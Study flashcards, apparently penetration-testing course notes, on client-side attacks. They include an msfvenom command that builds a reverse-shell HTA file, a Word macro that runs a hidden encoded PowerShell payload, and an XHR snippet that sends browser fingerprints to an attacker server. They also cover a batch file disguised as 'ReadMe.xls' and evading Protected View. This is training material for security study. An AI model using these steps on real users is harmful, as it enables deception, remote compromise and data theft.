Client-Side Attacks

Question 1

What tool is used for web browser fingerprinting?

Answer 1

Fingerprintjs2

Question 2

How do we get the broswer fingerprint on a victim machine?

Answer 2

1. download fingerprintjs2
2. unzip into /var/www/html
3. Rename the main directory and move into it’s own directory named ‘fp’:
   - - mv fingerprintjs2-master/ fp
4. Start apache2 server
5. Get the victim to browse to the fingerprint2 page at /fp/index.html
6. Get the fingerprint data from the fingerprint.txt file using Ajax

Question 3

How do we get the output of the victim browser fingerprint saved to the attacking machine?

Answer 3

• the default settings of the index.html file save the browser footprint data to the victim machine
• we can instead place Ajax code into the index.html web page that does the browser fingerprinting, and instruct the output to be sent to our attacking machine as an xmlhttp post request and saved as /fp/js.php
• ** the following code gets placed w/in Fingerprint2.get function of index.html ***
• • var clientfp = “Client browser fingerprint: “ + murmur + “\n\n”;
• • var xmlhttp = new XMLHttpRequest();
• • xmlhttp.open(“POST”, “/fp/js.php”);
• • xmlhttp.setRequestHeader(“Content-Type”, “application/text”);
• • xmlhttp.send(clientfp + timeString + details);
• PHP code then processs the POST request on the attacking server
• In order for this to work, the Apache www-data user needs to be allowed to write to the ‘ftp’ directory

Question 4

What is a .hta file?

Answer 4

• If a file is created with the extension .hta instead of .html, IE will automatically interpret it as a “HTML Application” (HTA) and offer the ability to execute it using the ‘mshta.exe’ program
• This allows an attacker to execute arbitrary code with the user’s permissions, avoiding the security restrictions normally imposed by IE

Question 5

How can HTA be used to execute shell commands?

Answer 5

• ** This attack vector allows us to compromise a Windows client through IE
• ActiveXObjects provide access to underlying operating system commands
• This is achieved through WScript (Windows Script Host) Shell Object
• Once we instantiate a WScript Shell object, we can invoke its ‘run’ method in order to launch an application on the target client machine.

Question 6

How to create an HTA attack?

Answer 6

• use msfvenom with the ‘hta-psh’ output format
• • sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta

Question 7

What command in PowerShell prevents the PowerShell user profile from loading?

Answer 7

• • -nop

- - -NoProfile

Question 8

What command in PowerShell prevents PowerShell from creating a window on the user’s desktop?

Answer 8

• • -w hidden

- - -WindowStyle hidden

Question 9

What are the steps to get a reverse shell on a victim machine with a .hta file created in Msfvenom?

Answer 9

1. Create evil.hta with msfvenom
2. Host the evil.hta file on Apache2 server
3. Launch a Netcat listener
4. The user navigates to URL with evil.hta
5. User accepts two security warnings
6. Get reverse shell

Question 10

What is one of the oldest and best-known client-side software attack vectors?

Answer 10

Microsoft Word Macro

Question 11

What is a Macro?

Answer 11

• a series of commands and instructions that are grouped together to accomplish a task programmatically
• Macros can be written from scratch in Visual Basic for Applications (VBA)

Question 12

What is VBA?

Answer 12

• Visual Basic for Applications

- Fully functional scripting language with full access to ActiveX objects and the WScript Host

Question 13

What is similar to a ‘function’ in VBA?

Answer 13

• Sub procedure

- the difference between a Sub procedure and Function is that Sub procedures cannot be used in expressions

Question 14

How is a macro inserted into a Word or Excel document?

Answer 14

• View > Macros

Question 15

Create a simple macro that opens cmd.exe

Answer 15

– Sub MyMacro()

– CreateObject(“Wscript.Shell”).Run “cmd”

– End Sub

Question 16

What macro procedure call a custom procedure when a new document is created?

Answer 16

Sub AutoOpen()

Question 17

What macro procedure call a custom procedure when an already-open document is reopened?

Answer 17

Sub Document_Open()

Question 18

Which Word extensions support embedded macros?

Answer 18

• .docm
• .doc
• ** .docx does not support them

Question 19

How can we use a macro to get a reverse shell?

Answer 19

1. Create Msfvenom shellcode and base64 encode
2. Declare a variable Dim of the type String containing the PowerShell command we wish to execute
3. Run Netcat listener
4. Start the Word document and get reverse shell

Question 20

What would the MyMacro process look like with the Dim variable and Powershell command?

Answer 20

• • Sub MyMacro()
• • Dim Str As String

– Str = “powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ”
– Str = Str + “QB3AC0A…”
– Str = Str + “TAHAAcgBlAGEAb…”
…….
– Str = Str + “QA=”
– CreateObject(“Wscript.Shell’”).Run Str
– End Sub

Question 21

What is OLE and how can you leverage it as a Client Side attack?

Answer 21

• OLE = Object Linking and Embedding
• It can be used to abuse Microsoft Office’s document-embedding feature by embedding a Windos batch file inside of a Microsoft Word document

Question 22

How do you craft an OLE attack?

Answer 22

1. Create batch file (ex launch.bat)
2. Open Word
3. Insert > Object > Create from File > select launch.bat
4. Check ‘Display as icon’ > Change Icon > Excel Icon with “ReadMe.xls” file name

Question 23

What is Protected View?

Answer 23

• When files originate from outside of the network (ex. email or download link), we must bypass another layer of security known as the “Protected View”
• Protected View disables all editing and modifications in the document and blocks the execution of macros or embedded objects

Question 24

What may be a better vector than Word and Excel? Why?

Answer 24

• Microsoft Publisher
• Does not enable Protected View for Internet-delivered documents
• Still allows embedded objects and code execution

Question 25

What Kali tool focuses on client-side attacks?

Answer 25

• BeEF

- Browser Exploitation Framework

Question 26

How can you search through BeEF?

Answer 26

1. sudo beef-xss
2. http://127.0.0.1:3000/ui/panel
3. username = beef; password = beef